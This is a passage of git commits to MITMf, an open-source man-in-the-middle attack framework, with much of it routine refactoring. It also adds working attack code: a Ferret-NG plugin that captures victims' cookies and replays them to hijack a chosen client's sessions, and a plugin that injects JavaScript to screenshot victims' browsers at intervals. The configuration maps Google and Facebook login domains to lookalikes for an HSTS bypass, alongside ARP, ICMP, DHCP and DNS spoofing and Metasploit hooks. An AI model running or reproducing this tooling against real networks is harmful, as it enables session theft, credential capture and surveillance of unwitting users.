IsICMPRedirectPlausible(self, IP): + result = [] + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + + for x in dnsip: + if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: + self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) + else: + pass + + def IsOnTheSameSubnet(self, ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def pluginReactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) @@ -100,5 +125,6 @@ class Responder(Plugin): options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + # Removed these options until I find a better way of implementing them #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index ad17a3e..e6657fc 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -21,9 +21,8 @@ from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.Inject import Inject -from core.sergioproxy.ProxyPlugins import ProxyPlugins -class SMBAuth(Plugin): +class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" @@ -33,10 +32,8 @@ class SMBAuth(Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - inject = Inject() - inject.initialize(options) - inject.html_payload = self._get_data() - ProxyPlugins.getInstance().addPlugin(inject) + Inject.initialize(options) + self.html_payload = self._get_data() def _get_data(self): return ''\ diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 887a6f0..d3753ac 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -27,12 +27,12 @@ from core.sslstrip.URLMonitor import URLMonitor from core.dnschef.DNSchef import DNSChef class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py new file mode 100644 index 0000000..23cb23e --- /dev/null +++ b/plugins/Screenshotter.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import base64 + +from datetime import datetime +from plugins.Inject import Inject +from plugins.plugin import Plugin + +mitmf_logger = logging.getLogger('mitmf') + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.get_payload() + + def clientRequest(self, request): + if 'saveshot' in request.uri: + request.printPostData = False + img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + with open(img_file, 'wb') as img: + img.write(base64.b64decode(request.postData[30:] + '==')) + img.close() + + mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file)) + + def get_payload(self): + canvas = open("./core/javascript/screenshot.js", "rb").read() + return '' \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index a2adfae..086128c 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -32,7 +32,6 @@ class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - tree_output = list() version = "0.6" has_opts = True @@ -63,7 +62,7 @@ class Spoof(Plugin): arpwatch = ARPWatch(options.gateway, self.myip, options.interface) arpwatch.debug = debug - self.tree_output.append("ARPWatch online") + self.tree_info.append("ARPWatch online") self.protocolInstances.append(arpwatch) arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) diff --git a/plugins/plugin.py b/plugins/plugin.py index f6a7cde..0d5a324 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -8,10 +8,11 @@ import logging mitmf_logger = logging.getLogger('mitmf') class Plugin(ConfigWatcher, object): - name = "Generic plugin" - optname = "generic" - desc = "" - has_opts = False + name = "Generic plugin" + optname = "generic" + tree_info = list() + desc = "" + has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/requirements.txt b/requirements.txt index 75fc1ad..1df0c6a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,10 +4,7 @@ scapy msgpack-python dnspython dnslib -user-agents configobj -pyyaml -ua-parser Pillow pefile ipy @@ -16,4 +13,4 @@ service_identity watchdog impacket capstone -pypcap +pypcap \ No newline at end of file From b9371f7cdcb179aa7d38d6395688906a186d6360 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 16 May 2015 21:22:11 +0200 Subject: [PATCH 174/323] Screenshotter plugin now live! Added an interval option to specify the interval at which to take the sceenshots Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file! --- config/mitmf.conf | 35 +++++++++++++--------- core/dnschef/DNSchef.py | 3 +- core/ferretng/ClientRequest.py | 11 +++++-- core/ferretng/URLMonitor.py | 1 + core/javascript/screenshot.js | 2 +- core/protocols/arp/ARPWatch.py | 5 ++-- core/protocols/arp/ARPpoisoner.py | 3 +- core/protocols/smb/SMBserver.py | 3 +- core/utils.py | 12 ++++++-- mitmf.py | 18 ++++------- plugins/BeefAutorun.py | 4 +-- plugins/BrowserSniper.py | 5 ++-- plugins/FerretNG.py | 50 ++++++++++++++++++++++++++----- plugins/FilePwn.py | 3 +- plugins/Responder.py | 6 ++-- plugins/Screenshotter.py | 26 +++++++++++----- plugins/Spoof.py | 13 ++++---- 17 files changed, 130 insertions(+), 70 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index ce7e7ec..c6a4269 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -103,6 +103,27 @@ [[Regex2]] "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" +[Ferret-NG] + # + # Here you can specify the client to hijack sessions from + # + + Client = '192.168.20.126' + +[SSLstrip+] + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # + + #for google and gmail + accounts.google.com = account.google.com + mail.google.com = gmail.google.com + accounts.google.se = cuentas.google.se + + #for facebook + www.facebook.com = social.facebook.com + [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. @@ -317,20 +338,6 @@ Plugin = Flash PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 -[SSLstrip+] - - # - #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com - # - - #for google and gmail - accounts.google.com = account.google.com - mail.google.com = gmail.google.com - accounts.google.se = cuentas.google.se - - #for facebook - www.facebook.com = social.facebook.com - [FilePwn] # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index e1473a2..a65d8cd 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -41,6 +41,7 @@ import logging from configobj import ConfigObj from core.configwatcher import ConfigWatcher +from core.utils import shutdown from dnslib import * from IPy import IP @@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index ac6a80b..c9eeb36 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -71,9 +71,14 @@ class ClientRequest(Request): del headers['cache-control'] if 'host' in headers: - if headers['host'] in self.urlMonitor.cookies: - mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) - headers['cookie'] = self.urlMonitor.cookies[headers['host']] + try: + for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: + if headers['host'] == entry['host']: + mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = entry['cookie'] + except KeyError: + mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + pass return headers diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py index d1381aa..85386f9 100644 --- a/core/ferretng/URLMonitor.py +++ b/core/ferretng/URLMonitor.py @@ -32,6 +32,7 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] cookies = dict() + hijack_client = '' _instance = None def __init__(self): diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fea115f..fe50ad7 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -2875,4 +2875,4 @@ function grab() { }); } -grab() \ No newline at end of file +setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/protocols/arp/ARPWatch.py b/core/protocols/arp/ARPWatch.py index 28f2473..0c45ef6 100644 --- a/core/protocols/arp/ARPWatch.py +++ b/core/protocols/arp/ARPWatch.py @@ -4,6 +4,7 @@ import sys import threading from scapy.all import * +from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') @@ -21,9 +22,9 @@ class ARPWatch: try: self.gatewaymac = getmacbyip(self.gatewayip) if self.gatewaymac is None: - sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address") + shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address") except Exception, e: - sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e)) + shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e)) mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac)) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 122e3fd..4b8858c 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -1,6 +1,7 @@ import logging import threading from time import sleep +from core.utils import shutdown from scapy.all import * mitmf_logger = logging.getLogger('mitmf') @@ -42,7 +43,7 @@ class ARPpoisoner(): def start(self): if self.gatewaymac is None: - sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address") + shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address") mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 2081804..d413926 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -4,6 +4,7 @@ import threading from socket import error as socketerror from impacket import version, smbserver, LOG from core.configwatcher import ConfigWatcher +from core.utils import shutdown LOG.setLevel(logging.INFO) LOG.propagate = False @@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher): self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) except socketerror as e: if "Address already in use" in e: - sys.exit("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port 445: port already in use") def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/utils.py b/core/utils.py index 38845f0..9aa8898 100644 --- a/core/utils.py +++ b/core/utils.py @@ -27,9 +27,15 @@ import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr, get_if_hwaddr +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') +def shutdown(message=None): + for plugin in ProxyPlugins.getInstance().plist: + plugin.finish() + sys.exit(message) + class SystemConfig: @staticmethod @@ -44,11 +50,11 @@ class SystemConfig: try: ip_address = get_if_addr(interface) if (ip_address == "0.0.0.0") or (ip_address is None): - exit("[Utils] Interface {} does not have an assigned IP address".format(interface)) + shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface)) return ip_address except Exception, e: - exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) + shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) @staticmethod def getMAC(interface): @@ -56,7 +62,7 @@ class SystemConfig: mac_address = get_if_hwaddr(interface) return mac_address except Exception, e: - exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e)) + shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e)) class IpTables: diff --git a/mitmf.py b/mitmf.py index 104ab20..6e21431 100755 --- a/mitmf.py +++ b/mitmf.py @@ -28,7 +28,7 @@ from twisted.web import http from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins -from core.utils import Banners, SystemConfig +from core.utils import Banners, SystemConfig, shutdown from plugins import * Banners().printBanner() @@ -123,8 +123,6 @@ mitmf_logger.addHandler(fileHandler) #All our options should be loaded now, initialize the plugins print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) -load = [] - for p in plugins: #load only the plugins that have been called at the command line @@ -132,32 +130,30 @@ for p in plugins: print "|_ {} v{}".format(p.name, p.version) if p.tree_info: - for line in p.tree_info: + for line in xrange(0, len(p.tree_info)): print "| |_ {}".format(p.tree_info.pop()) p.initialize(args) if p.tree_info: - for line in p.tree_info: + for line in xrange(0, len(p.tree_info)): print "| |_ {}".format(p.tree_info.pop()) - load.append(p) + ProxyPlugins.getInstance().addPlugin(p) #Plugins are ready to go, let's rock & roll from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) - CookieCleaner.getInstance().setEnabled(args.killsessions) -ProxyPlugins.getInstance().setPlugins(load) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) -for p in load: +for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() @@ -189,6 +185,4 @@ SMBserver().start() reactor.run() print "\n" -#run each plugins finish() on exit -for p in load: - p.finish() +shutdown() \ No newline at end of file diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 2cb5fa8..0f4bad9 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -24,7 +24,7 @@ import json from time import sleep from core.beefapi import BeefAPI -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.Inject import Inject @@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin): self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if not self.beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") + shutdown("[-] Error logging in to BeEF!") def startThread(self, options): self.autorun() diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index 0d356a8..0eb7408 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -20,12 +20,11 @@ import string import random -import sys import logging from time import sleep from core.msfrpc import Msfrpc -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler @@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin): version = self.msf.call('core.version')['version'] self.tree_info.append("Connected to Metasploit v{}".format(version)) except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") def startThread(self, options): self.snipe() diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py index 612dcbf..42c426a 100644 --- a/plugins/FerretNG.py +++ b/plugins/FerretNG.py @@ -19,12 +19,15 @@ # import logging +import ast +import sys from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http from twisted.internet import reactor +from core.utils import shutdown from core.ferretng.FerretProxy import FerretProxy from core.ferretng.URLMonitor import URLMonitor @@ -41,17 +44,44 @@ class FerretNG(Plugin): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.ferret_port = 10010 or options.ferret_port + self.cookie_file = None + + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = ast.literal_eval(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + cookie_file.close() + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) self.tree_info.append("Listening on port {}".format(self.ferret_port)) + def onConfigChange(self): + mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + def clientRequest(self, request): if 'cookie' in request.headers: host = request.headers['host'] cookie = request.headers['cookie'] client = request.client.getClientIP() - if host not in URLMonitor.getInstance().cookies: - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) - URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie} + + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] + + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host)) + entry['host'] = host + entry['cookie'] = cookie + return + + mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) def pluginReactor(self, StrippingProxy): FerretFactory = http.HTTPFactory(timeout=10) @@ -60,10 +90,16 @@ class FerretNG(Plugin): def pluginOptions(self, options): options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file') def finish(self): + if not URLMonitor.getInstance().cookies: + return + + if self.cookie_file == URLMonitor.getInstance().cookies: + return + mitmf_logger.info("[Ferret-NG] Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file: - cookie_file.write(URLMonitor.getInstance().cookies) - cookie_file.close() \ No newline at end of file + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) + cookie_file.close() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 54ccad6..64f977a 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -69,6 +69,7 @@ from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin from core.msfrpc import Msfrpc +from core.utils import shutdown from plugins.plugin import Plugin from tempfile import mkstemp from configobj import ConfigObj @@ -140,7 +141,7 @@ class FilePwn(Plugin): t.setDaemon(True) t.start() except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") def setupMSF(self, msf): diff --git a/plugins/Responder.py b/plugins/Responder.py index e49bcfe..9ea9fec 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -18,11 +18,9 @@ # USA # -import sys - from plugins.plugin import Plugin from twisted.internet import reactor -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner @@ -48,7 +46,7 @@ class Responder(Plugin): config = self.config['Responder'] smbChal = self.config['MITMf']['SMB']['Challenge'] except Exception as e: - sys.exit('[-] Error parsing config for Responder: ' + str(e)) + shutdown('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) MDNSPoisoner().start(options, self.ourip) diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py index 23cb23e..5e32555 100644 --- a/plugins/Screenshotter.py +++ b/plugins/Screenshotter.py @@ -20,6 +20,8 @@ import logging import base64 +import urllib +import re from datetime import datetime from plugins.Inject import Inject @@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin): optname = 'screen' desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' ver = '0.1' - has_opts = False + has_opts = True def initialize(self, options): + self.interval = options.interval Inject.initialize(self, options) self.html_payload = self.get_payload() def clientRequest(self, request): if 'saveshot' in request.uri: request.printPostData = False - img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - with open(img_file, 'wb') as img: - img.write(base64.b64decode(request.postData[30:] + '==')) - img.close() + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() - mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file)) + mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file)) + except Exception as e: + mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e)) def get_payload(self): - canvas = open("./core/javascript/screenshot.js", "rb").read() - return '' \ No newline at end of file + canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + return '' + + def pluginOptions(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 086128c..4727fe5 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -18,8 +18,7 @@ # USA # -from sys import exit -from core.utils import SystemConfig, IpTables +from core.utils import SystemConfig, IpTables, shutdown from core.protocols.arp.ARPpoisoner import ARPpoisoner from core.protocols.arp.ARPWatch import ARPWatch from core.dnschef.DNSchef import DNSChef @@ -55,7 +54,7 @@ class Spoof(Plugin): if options.arp: if not options.gateway: - exit("[-] --arp argument requires --gateway") + shutdown("[-] --arp argument requires --gateway") if options.targets is None: #if were poisoning whole subnet, start ARP-Watch @@ -75,10 +74,10 @@ class Spoof(Plugin): elif options.icmp: if not options.gateway: - exit("[-] --icmp argument requires --gateway") + shutdown("[-] --icmp argument requires --gateway") if not options.targets: - exit("[-] --icmp argument requires --targets") + shutdown("[-] --icmp argument requires --targets") icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) icmp.debug = debug @@ -88,7 +87,7 @@ class Spoof(Plugin): elif options.dhcp: if options.targets: - exit("[-] --targets argument invalid when DCHP spoofing") + shutdown("[-] --targets argument invalid when DCHP spoofing") dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) dhcp.shellshock = options.shellshock @@ -104,7 +103,7 @@ class Spoof(Plugin): DNSChef.getInstance().loadRecords(self.dnscfg) if not options.arp and not options.icmp and not options.dhcp and not options.dns: - exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") SystemConfig.setIpForwarding(1) From 563a8d37c13c04f74b51ee590cf757a8237eeb16 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:00:40 +0200 Subject: [PATCH 175/323] Fixed a bug in SSLstrip+ code, when redirecting to certain sites Created a wrapper class around Msfrpc to limit code re-use when interacting with msf --- core/dnschef/DNSchef.py | 14 +++--- core/msfrpc.py | 52 ++++++++++++++++++++ core/sslstrip/ClientRequest.py | 8 +-- core/sslstrip/SSLServerConnection.py | 6 ++- core/sslstrip/ServerConnection.py | 10 ++-- core/sslstrip/URLMonitor.py | 42 ++++++++-------- plugins/BrowserProfiler.py | 8 +-- plugins/BrowserSniper.py | 73 +++++++++------------------- plugins/FilePwn.py | 50 +++++++------------ plugins/Screenshotter.py | 4 +- 10 files changed, 141 insertions(+), 126 deletions(-) diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index a65d8cd..69f3681 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -71,7 +71,7 @@ class DNSHandler(): d = DNSRecord.parse(data) except Exception, e: - dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0])) + dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) else: # Only Process DNS Queries @@ -115,7 +115,7 @@ class DNSHandler(): # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) - dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -184,7 +184,7 @@ class DNSHandler(): response = response.pack() elif qtype == "*" and not None in fake_records.values(): - dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -259,7 +259,7 @@ class DNSHandler(): # Proxy the request else: - dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,13 +339,13 @@ class DNSHandler(): sock.close() except Exception, e: - dnschef_logger.warning("could not proxy request: {}".format(e)) + dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e)) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): - dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) @@ -482,7 +482,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in 